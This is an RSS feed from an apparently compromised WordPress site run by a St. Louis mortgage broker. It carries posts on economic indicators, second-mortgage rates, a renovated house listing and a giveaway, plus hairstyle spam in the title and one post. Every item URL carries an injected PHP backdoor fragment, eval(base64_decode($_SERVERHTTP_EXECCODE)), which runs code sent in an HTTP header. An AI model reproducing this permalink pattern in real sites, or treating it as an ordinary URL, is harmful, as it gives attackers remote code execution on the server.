<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>New Hairstyles, Latest Hairstyles, Hairstyles Gallery, Best Websites &#187; Daily Economic Indicators</title>
	<atom:link href="http://www.grauteam.com/category/breaking-mortgage-news/daily-economic-indicators/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.grauteam.com</link>
	<description>New Hairstyles, Latest Hairstyles, Hairstyles Gallery, Best Websites</description>
	<lastBuildDate>Mon, 22 Feb 2010 21:51:40 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Ashlee Simpson Hairstyles</title>
		<link>http://www.grauteam.com/2009/08/17/ashlee-simpson-hairstyles/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.grauteam.com/2009/08/17/ashlee-simpson-hairstyles/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 17 Aug 2009 21:14:14 +0000</pubDate>
		<dc:creator>Chris Grau</dc:creator>
				<category><![CDATA[Celebrity Hairstyle]]></category>
		<category><![CDATA[Daily Economic Indicators]]></category>
		<category><![CDATA[Featured]]></category>
		<category><![CDATA[Market Research]]></category>
		<category><![CDATA[ashlee simpson]]></category>
		<category><![CDATA[celebrity]]></category>
		<category><![CDATA[hairstyles]]></category>

		<guid isPermaLink="false">http://www.grauteam.com/?p=356</guid>
		<description><![CDATA[One of the most popular looks for teen hairstyles today is ashlee simpson hairstyles.  She has had so many different looks through the years.  There is not wonder she is such a trendsetter.]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.ashleesimpsonhairstyles.com/"><img class="alignnone" title="Ashlee Simpson Hairstyles" src="http://www.ashleesimpsonhairstyles.com/wp-content/uploads/2009/11/Ashlee-Simpson-Long-Blonde-n-Wavy.jpg" alt="" width="400" height="600" /></a></p>
<p>One of the most popular looks for <a href="http://www.ashleesimpsonhairstyles.com">teen hairstyles</a> today is <a href="http://www.ashleesimpsonhairstyles.com">ashlee simpson hairstyles</a>.  She has had so many different looks through the years.  There is not wonder she is such a trendsetter.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.grauteam.com/2009/08/17/ashlee-simpson-hairstyles/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Balance of Trade</title>
		<link>http://www.grauteam.com/2008/06/10/balance-of-trade-2/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.grauteam.com/2008/06/10/balance-of-trade-2/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 10 Jun 2008 16:47:03 +0000</pubDate>
		<dc:creator>Chris Grau</dc:creator>
				<category><![CDATA[Daily Economic Indicators]]></category>
		<category><![CDATA[Balance of Trade]]></category>
		<category><![CDATA[Economic Indicators]]></category>

		<guid isPermaLink="false">http://www.grauteam.com/2008/06/10/balance-of-trade-2/</guid>
		<description><![CDATA[Balance of Trade April &#124; -$60,900,000,000 &#124; E -$59,500,000,000 &#124; P -$58,200,000,000 &#124; modest]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.grauteam.com/2008/03/04/balance-of-trade/" title="Balance of Trade"><font color="#4478a0">Balance of Trade</font></a> April | <strong><font color="#ff0000">-$60,900,000,000</font></strong> | E -$59,500,000,000 | P -$58,200,000,000 | modest</p>
]]></content:encoded>
			<wfw:commentRss>http://www.grauteam.com/2008/06/10/balance-of-trade-2/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Economic Indicators June 06</title>
		<link>http://www.grauteam.com/2008/06/06/economic-indicators-june-06/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.grauteam.com/2008/06/06/economic-indicators-june-06/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Fri, 06 Jun 2008 14:33:11 +0000</pubDate>
		<dc:creator>Chris Grau</dc:creator>
				<category><![CDATA[Daily Economic Indicators]]></category>
		<category><![CDATA[Economic Indicators]]></category>

		<guid isPermaLink="false">http://www.grauteam.com/2008/06/06/economic-indicators-june-06/</guid>
		<description><![CDATA[Non-Farm Payrolls May &#124; -49,000 &#124; E -60,000 &#124; P -20.000 &#124; Elevated Unemployment Rate May &#124; 5.5% &#124; E 5.1% &#124; P 5.0% &#124; Elevated Average Work Week May &#124; ? &#124; E 33.7 &#124; P 33.7 &#124; Elevated Hourly Earnings May &#124; 0.3% &#124; E 0.2% &#124; P 0.1% &#124; Elevated]]></description>
			<content:encoded><![CDATA[<p align="justify"><a href="http://www.grauteam.com/2008/03/04/employment-situation-summary-or-employment-report/" title="Employment Report"><strong><font color="#4478a0">Non-Farm Payrolls</font></strong></a><strong> May | <font color="#008000">-49,000</font> | E -60,000 | P -20.000 | <font color="#ff0000">Elevated</font></strong></p>
<p align="justify"><a href="http://www.grauteam.com/2008/03/04/employment-situation-summary-or-employment-report/" title="Employment Report"><strong><font color="#4478a0">Unemployment Rate</font></strong></a><strong> May | <font color="#ff0000">5.5%</font> | E 5.1% | P 5.0% | <font color="#ff0000">Elevated</font></strong></p>
<p align="justify"><a href="http://www.grauteam.com/2008/03/04/employment-situation-summary-or-employment-report/" title="Employment Report"><strong><font color="#4478a0">Average Work Week</font></strong></a><strong> May | ? | E 33.7 | P 33.7 | <font color="#ff0000">Elevated</font></strong></p>
<p align="justify"><a href="http://www.grauteam.com/2008/03/04/employment-situation-summary-or-employment-report/" title="Employment Report"><strong><font color="#4478a0">Hourly Earnings</font></strong></a><strong> May | <font color="#008000">0.3%</font> | E 0.2% | P 0.1% | <font color="#ff0000">Elevated</font></strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.grauteam.com/2008/06/06/economic-indicators-june-06/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>St. Louis Second Mortgages &#124; 2nd Mortgage Rates 6.180%</title>
		<link>http://www.grauteam.com/2008/04/10/st-louis-second-mortgages-2nd-mortgage-rates-6180/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.grauteam.com/2008/04/10/st-louis-second-mortgages-2nd-mortgage-rates-6180/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 10 Apr 2008 16:51:55 +0000</pubDate>
		<dc:creator>Chris Grau</dc:creator>
				<category><![CDATA[Breaking Mortgage News]]></category>
		<category><![CDATA[Downloads]]></category>
		<category><![CDATA[St. Louis Second Mortgage Rates]]></category>
		<category><![CDATA[St. Louis Second Mortgages]]></category>

		<guid isPermaLink="false">http://grauteam.com/2008/04/10/st-louis-second-mortgages-2nd-mortgage-rates-6180/</guid>
		<description><![CDATA[Cornerstone Mortgage has Local Second Mortgage Rates from 6.180%.  The Fixed Second Mortgages are great for avoiding mortgage insurance and jumbo mortgage rates.  We can lend up to 95% loan to value and down to a 640 fico credit score.  The St. Louis Local Second Mortgages are available to $200,000.  Please contact me, Chris Grau, [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://grauteam.com/wp-content/uploads/2008/04/st-louis-second-mortgages.jpg" title="St. Louis Second Mortgages"><img width="350" src="http://grauteam.com/wp-content/uploads/2008/04/st-louis-second-mortgages.jpg" alt="St. Louis Second Mortgages" height="453" /></a></p>
<p align="justify">Cornerstone Mortgage has Local Second Mortgage Rates from 6.180%.  The Fixed Second Mortgages are great for avoiding mortgage insurance and jumbo mortgage rates.  We can lend up to 95% loan to value and down to a 640 fico credit score.  The St. Louis Local Second Mortgages are available to $200,000.  Please contact me, Chris Grau, at 314-600-5410 for more information.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.grauteam.com/2008/04/10/st-louis-second-mortgages-2nd-mortgage-rates-6180/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Real Estate Marketing Flyers</title>
		<link>http://www.grauteam.com/2008/02/12/real-estate-marketing-flyers/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.grauteam.com/2008/02/12/real-estate-marketing-flyers/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 12 Feb 2008 23:11:08 +0000</pubDate>
		<dc:creator>Chris Grau</dc:creator>
				<category><![CDATA[Downloads]]></category>
		<category><![CDATA[For Sale By Owner St. Louis MO]]></category>
		<category><![CDATA[Marketing Flyer St. Louis]]></category>
		<category><![CDATA[Real Estate Marketing]]></category>

		<guid isPermaLink="false">http://grauteam.com/2008/02/12/real-estate-marketing-flyers/</guid>
		<description><![CDATA[This is a sample flyer that I can prepare for you at no cost.  The Flyer should help potential buyers understand that payments can be significantly better than they may think.  If youare trying to give a real incentive to motivate a buyer, a closing cost credit of 1-2% points attached to a 5-7yr adjustable [...]]]></description>
			<content:encoded><![CDATA[<p><a rel="attachment wp-att-62" href="http://grauteam.com/2008/02/12/real-estate-marketing-flyers/loan-options-flyer/" title="Loan Options Flyer"></a><a target="_blank" href="http://grauteam.com/wp-content/uploads/2008/02/loan-options-jumbo.jpg" title="Home Marketing Flyer"><img src="http://grauteam.com/wp-content/uploads/2008/02/loan-options-jumbo.thumbnail.jpg" alt="Loan Options Flyer" /></a></p>
<p align="justify">This is a sample flyer that I can prepare for you at no cost.  The Flyer should help potential buyers understand that payments can be significantly better than they may think.  If you<span id="more-61"></span>are trying to give a real incentive to motivate a buyer, a closing cost credit of 1-2% points attached to a 5-7yr adjustable rate mortgage may do the trick.  The Arm programs are relatively low risk and have no prepayment penalty. The home for sale in the flyer has a sales price of $514,900.  With 20% down the payment could be fixed for 7 years at only $1502 a month! </p>
]]></content:encoded>
			<wfw:commentRss>http://www.grauteam.com/2008/02/12/real-estate-marketing-flyers/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>3bed 2ba 1700sq 2 story complete renovation &#124; $124,900</title>
		<link>http://www.grauteam.com/2008/02/01/3bed-2ba-1700sq-2-story-complete-renovation-124900/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.grauteam.com/2008/02/01/3bed-2ba-1700sq-2-story-complete-renovation-124900/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Fri, 01 Feb 2008 16:39:32 +0000</pubDate>
		<dc:creator>Chris Grau</dc:creator>
				<category><![CDATA[Downloads]]></category>
		<category><![CDATA[3 bedroom home st. louis mo]]></category>
		<category><![CDATA[St. Louis City 3 Bedroom]]></category>
		<category><![CDATA[St. Louis city homes]]></category>

		<guid isPermaLink="false">http://grauteam.com/?p=42</guid>
		<description><![CDATA[We have finished the renovation of 3431 Pennsylvania.  The property is in Gravois Park.  It has been completely renovated.  The home has 6 inch trim, crown molding, refinished hard wood floors, new kitchen, 2 new baths, 3 bed rooms, new AC, new hot water heater, new fence, and many other updates. ]]></description>
			<content:encoded><![CDATA[<p><a href="http://grauteam.com/wp-content/uploads/2008/02/front.JPG" title="Front"></a></p>
<p align="justify"><a href="http://grauteam.com/wp-content/uploads/2008/02/front.JPG" title="Front"><img width="155" src="http://grauteam.com/wp-content/uploads/2008/02/front.thumbnail.JPG" alt="Front" height="128" style="width: 159px; height: 164px" /></a></p>
<p align="justify"><a href="http://grauteam.com/wp-content/uploads/2008/02/kitchen.JPG" title="kitchen"></a><a href="http://grauteam.com/wp-content/uploads/2008/02/great-room5.JPG" title="Great Room"></a>We have finished the renovation of 3431 Pennsylvania.  The property is in Gravois Park.  It has been completely renovated.  The home has 6 inch trim, crown molding, refinished hard wood <span id="more-42"></span>floors, new kitchen, 2 new baths, 3 bed rooms, new AC, new hot water heater, new fence, and many other updates. </p>
<p align="justify"><!--more--><a href="http://grauteam.com/wp-content/uploads/2008/02/front.JPG" title="Front"><img src="http://grauteam.com/wp-content/uploads/2008/02/front.thumbnail.JPG" alt="Front" /></a><a href="http://grauteam.com/wp-content/uploads/2008/02/great-room-trim-and-crown.JPG" title="trim"><img src="http://grauteam.com/wp-content/uploads/2008/02/great-room-trim-and-crown.thumbnail.JPG" alt="trim" /></a><a href="http://grauteam.com/wp-content/uploads/2008/02/kitchen.JPG" title="kitchen"><img src="http://grauteam.com/wp-content/uploads/2008/02/kitchen.thumbnail.JPG" alt="kitchen" /></a><a href="http://grauteam.com/wp-content/uploads/2008/02/full-bath-2.JPG" title="bath"><img src="http://grauteam.com/wp-content/uploads/2008/02/full-bath-2.thumbnail.JPG" alt="bath" /></a><a href="http://grauteam.com/wp-content/uploads/2008/02/fan-2.JPG" title="fan"><img src="http://grauteam.com/wp-content/uploads/2008/02/fan-2.thumbnail.JPG" alt="fan" /></a><a href="http://grauteam.com/wp-content/uploads/2008/02/bed-3.JPG" title="Bed"><img src="http://grauteam.com/wp-content/uploads/2008/02/bed-3.thumbnail.JPG" alt="Bed" /></a><a href="http://grauteam.com/wp-content/uploads/2008/02/great-room4.JPG" title="Great Room 2"><img src="http://grauteam.com/wp-content/uploads/2008/02/great-room4.thumbnail.JPG" alt="Great Room 2" /></a><a href="http://grauteam.com/wp-content/uploads/2008/02/great-room5.JPG" title="Great Room"><img src="http://grauteam.com/wp-content/uploads/2008/02/great-room5.thumbnail.JPG" alt="Great Room" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.grauteam.com/2008/02/01/3bed-2ba-1700sq-2-story-complete-renovation-124900/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Rate Watch Update and $100 give-a-way</title>
		<link>http://www.grauteam.com/2008/01/11/rate-watch-update-and-100-give-a-way/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.grauteam.com/2008/01/11/rate-watch-update-and-100-give-a-way/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Fri, 11 Jan 2008 19:14:29 +0000</pubDate>
		<dc:creator>Chris Grau</dc:creator>
				<category><![CDATA[Downloads]]></category>
		<category><![CDATA[Chris Grau client]]></category>
		<category><![CDATA[Rate Watch St. Louis]]></category>
		<category><![CDATA[Rate Watch Update St. Louis MO]]></category>

		<guid isPermaLink="false">http://grauteam.com/?p=14</guid>
		<description><![CDATA[  I hold a $100 a month give-a-way to anyone that completes and returns their &#8220;Rate Watch Update.&#8221;  The odds of winning are pretty good!]]></description>
			<content:encoded><![CDATA[<p><a target="_blank" href="http://grauteam.com/wp-content/uploads/2008/01/rate-watch-update.mdi" title="Rate Watch Update Link"></a></p>
<p><a href="http://grauteam.com/wp-content/uploads/2008/01/rate-watch-update.mdi"></a><a target="_blank" href="http://grauteam.com/wp-content/uploads/2008/01/rate-watch-update.mdi" title="Rate Watch Update Link"></a><a href="http://grauteam.com/wp-content/uploads/2008/01/rate-watch-update.mdi" title="Rate Watch Update Link"><img src="http://grauteam.com/wp-content/uploads/2008/01/rate-watch-update.gif" alt="Rate Watch Small Photo" /></a> </p>
<p align="justify">I hold a $100 a month give-a-way to anyone that completes and returns their &#8220;Rate Watch Update.&#8221;  The odds of winning are pretty good!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.grauteam.com/2008/01/11/rate-watch-update-and-100-give-a-way/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

